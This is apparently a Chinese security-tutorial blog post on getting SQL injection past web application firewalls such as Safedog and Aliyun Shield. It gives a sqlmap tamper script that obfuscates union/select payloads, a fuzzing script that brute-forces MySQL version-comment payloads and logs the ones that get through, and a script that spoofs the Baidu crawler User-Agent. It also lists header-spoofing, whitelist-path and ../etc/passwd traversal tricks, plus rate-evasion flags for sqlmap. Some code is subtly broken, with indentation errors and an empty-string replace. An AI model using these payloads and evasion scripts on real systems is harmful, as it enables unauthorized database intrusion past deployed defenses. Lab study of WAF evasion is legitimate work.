1. 程式人生 > 其它 >SQL注入之WAF指令碼繞過

SQL注入之WAF指令碼繞過

前言

在攻防實戰中,往往需要掌握一些特性,比如伺服器、資料庫、應用層、WAF層等,以便我們更靈活地去構造Payload,從而可以和各種WAF進行對抗,甚至繞過安全防禦措施進行漏洞利用。

FUZZ繞過指令碼

#!/usr/bin/envpython

"""
Copyright(c)2006-2019sqlmapdevelopers(http://sqlmap.org/)
Seethefile'LICENSE'forcopyingpermission
"""

import os

from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
from lib.core.enums import PRIORITY

__priority__=PRIORITY.HIGHEST

def dependencies():
	singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s"%(os.path.basename(__file__).split(".")[0],DBMS.MYSQL))

def tamper(payload,**kwargs):
    
#%23a%0aunion/*!44575select*/1,2,3
	if payload:
        payload=payload.replace("union","%23a%0aunion")
        payload=payload.replace("select","/*!44575select*/")
        payload=payload.replace("%20","%23a%0a")
        payload=payload.replace("","%23a%0a")
        payload=payload.replace("database()","database%23a%0a()")
	return payload

import requests,time

url='http://127.0.0.1:8080/sqlilabs/Less-2/?id=-1'
union='union'
select='select'
num='1,2,3'
a={'%0a','%23'}
aa={'x'}
aaa={'%0a','%23'}
b='/*!'
c='*/'
def bypass():
	for xiaodi in a:
		for xiaodis in aa:
			for xiaodiss in aaa:
				for two in range(44500,44600):
					urls=url+xiaodi+xiaodis+xiaodiss+b+str(two)+union+c+xiaodi+xiaodis+xiaodiss+select+xiaodi+xiaodis+xiao
diss+num
					#urlss=url+xiaodi+xiaodis+xiaodiss+union+xiaodi+xiaodis+xiaodiss+b+str(two)+select+c+xiaodi+xiaodis+xia
odiss+num
					try:
						result=requests.get(urls).text
						len_r=len(result)
						if (result.find('safedog')==-1):
							#print('bypass url addreess:'+urls+'|'+str(len_r))
							 print('bypass url addreess:'+urls+'|'+str(len_r))
						if len_r==715:
                             fp = open('url.txt','a+')
                             fp.write(urls+'\n')
                             fp.close()
					except Exception as err:
						print('connecting error')
						time.sleep(0.1)
if__name__=='__main__':
	print('fuzz strat!')
	bypass()
    
    

偽造成百度爬蟲指令碼

import json
import requests

url='http://192.168.0.103:8080/'

head={
	'User-Agent':'Mozilla/5.0(compatible;Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)'
}
for data in open('PH1P.txt'):
    data=data.replace('\n','')
    urls=url+data
    code=requests.get(urls).status_code
    print(urls+'|'+str(code))

sqlmap temper指令碼使用教程

https://blog.csdn.net/qq_34444097/article/details/82717357

案例演示:

1.簡要其他繞過方式學習

1.白名單:

方式一:IP白名單
通過對網站ip地址的偽造,知道對方網站ip地址,那就預設為ip地址為白名單。
從網路層獲取的ip,這種一般偽造不來,如果是獲取客戶端的ip,這樣就餓可能存在偽造ip繞過的情況。
測試方法:修改http的header來by pass waf
X-forwarded-for
X-remote-IP
X-remote-addr
X-Real-IP

方式二:靜態資源
特定的靜態資源字尾請求,常見的靜態檔案(.js、.jpg、.swf、.css等),類似白名單機制,waf為了檢測效率,不去檢測這樣一些靜態檔名字尾的請求。

http://127.0.0.1/sql.php?id=1
http://127.0.0.1/sql.php/1.js?id=1
備註:Aspx/php只識別到前面的.aspx/.php,後面基本不識別。

不過這是老版本waf不過濾,現在一般也會過濾掉

方式三:url白名單(老版本waf)
為了防止誤攔,部分waf內建預設的白名單列表,如admin/manager/system等管理後臺。只要url中存在白名單的字串,就作為白名單不進行檢測。常見的url構造姿勢:
http://127.0.0.1/sql.php/admin/php?id=1
http://127.0.0.1/sql.php?a=/manage/&b=../etc/passwd
http://127.0.0.1/../../../manage/../sql.asp?id=2
waf通過/manage/進行比較,只要url中存在/manage/就作為白名單不進行檢測,這樣我們可以通過/sql.php?1=manage/&b=../etc/passwd繞過防禦規則。

依舊攔截是因為老版本waf才可以,新版本的會攔截

方式四:爬蟲白名單(不是注入繞過而是掃描繞過經常用到)
偽裝成搜尋引擎
部分waf有提供爬蟲白名單的功能,識別爬蟲的技術一般有兩種:
1.根據UserAgent
2.通過行為來判斷

開啟流量防護

都是誤報,這些檔案都不存在

掃描之後再訪問頁面就會被攔截

UserAgent可以很容易欺騙,我們可以偽裝成爬蟲嘗試繞過。
User Agent Switcher (firefox 附加元件),下載地址:
https://addons.mozilla.org/en-US/firefox/addon/user-agent-switcher/
偽造成百度爬蟲

使用偽裝指令碼進行爬取,發現網站是沒有任何攔截的。返回200是存在的,404不存在

2.FUZZ繞過指令碼結合編寫測試

https://www.jianshu.com/p/ba3f8f1815ad?               utm_campaign=haruki&utm_content=note&utm_medium=reader_share&utm_source=qq

3.阿里雲盾防SQL注入簡要分析

使用sqlmap

使用sqlmap跑過之後阿里雲盾會對二次請求進行攔截
開啟安全狗,使用sqlmap發現未報出注入點

這時就需要使用到sqlmap的指令碼檔案(自帶大概率無法達到目的),指令碼檔案存在temper資料夾中(一般指令碼使用教程

接下來要想使用的話還是得自己編寫指令碼

4.安全狗+雲盾SQL注入外掛指令碼編寫

自己編寫指令碼bypassdog.py(也就是rdog.py)

直接使用指令碼是無法跑來的,抓包到本地分析一下

User-Agent顯示的是sqlmap的資訊

此時安全狗上面會有攔截記錄,分析可知是HTTP請求頭User-agent的原因

並且漏洞防護規則也開啟了工具攔截

根據這些我們知道了攔截原因:通過請求頭及指紋庫,知道了是使用工具sqlmap對網站進行了惡意掃描,所以進行了攔截

比如User-Agent改為1就沒有進行攔截

當然在使用sqlmap時可以加上引數--random agent(隨機出現字母頭)

獲取表名

可以使用burp檢視sqlmap的注入語句

表名出現了

如果安全狗開啟流量防護

sqlmap的速度過快,所以會被攔截

解決方法:

  • 新增延時引數 --delay引數
  • 使用代理池

  • 隨機出IP

  • 更改請求頭,新增http白名單 瀏覽器請求頭 --user-Agent=" "

發現請求正常無攔截

如果需要更改的資料不是User-Agent

  • 使用burp的intrude模組(很麻煩)
  • 自己編寫

然後使用TXT文本里的資料包注入

sqlmap去注入本地的指令碼地址 -> 本地搭建指令碼(請求資料包自定義編寫) -> 遠端地址